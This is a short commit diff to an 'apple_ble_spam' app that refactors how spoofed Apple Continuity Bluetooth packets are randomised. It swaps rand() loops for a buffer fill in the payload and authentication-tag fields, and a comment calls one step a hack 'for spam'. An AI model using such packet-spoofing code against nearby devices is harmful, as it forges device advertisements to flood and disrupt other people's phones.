Faster ble packet randomization

applications/external/apple_ble_spam/lib/continuity/continuity.c

@@ -34,8 +34,7 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
     uint8_t size = continuity_get_packet_size(msg->type);
     uint8_t i = 0;
 
-    packet[i] = size - i - 1; // Packet Length
-    i++;
+    packet[i++] = size - 1; // Packet Length
     packet[i++] = 0xFF; // Packet Header
     packet[i++] = 0x4C; // ...
     packet[i++] = 0x00; // ...
@@ -75,22 +74,8 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
         packet[i++] = (rand() % 256); // Lid Open Counter
         packet[i++] = 0x00; // Device Color
         packet[i++] = 0x00;
-        packet[i++] = (rand() % 256); // Encrypted Payload
-        packet[i++] = (rand() % 256); // ...
-        packet[i++] = (rand() % 256); // ...
-        packet[i++] = (rand() % 256); // ...
-        packet[i++] = (rand() % 256); // ...
-        packet[i++] = (rand() % 256); // ...
-        packet[i++] = (rand() % 256); // ...
-        packet[i++] = (rand() % 256); // ...
-        packet[i++] = (rand() % 256); // ...
-        packet[i++] = (rand() % 256); // ...
-        packet[i++] = (rand() % 256); // ...
-        packet[i++] = (rand() % 256); // ...
-        packet[i++] = (rand() % 256); // ...
-        packet[i++] = (rand() % 256); // ...
-        packet[i++] = (rand() % 256); // ...
-        packet[i++] = (rand() % 256); // ...
+        furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
+        i += 16;
         break;
 
     case ContinuityTypeAirplayTarget:
@@ -133,9 +118,8 @@ void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
         if(packet[i] == 0xBF && rand() % 2) packet[i]++; // Ugly hack to shift 0xBF-0xC0 for spam
         i++;
         packet[i++] = msg->data.nearby_action.type;
-        packet[i++] = (rand() % 256); // Authentication Tag
-        packet[i++] = (rand() % 256); // ...
-        packet[i++] = (rand() % 256); // ...
+        furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
+        i += 3;
         break;
 
     default: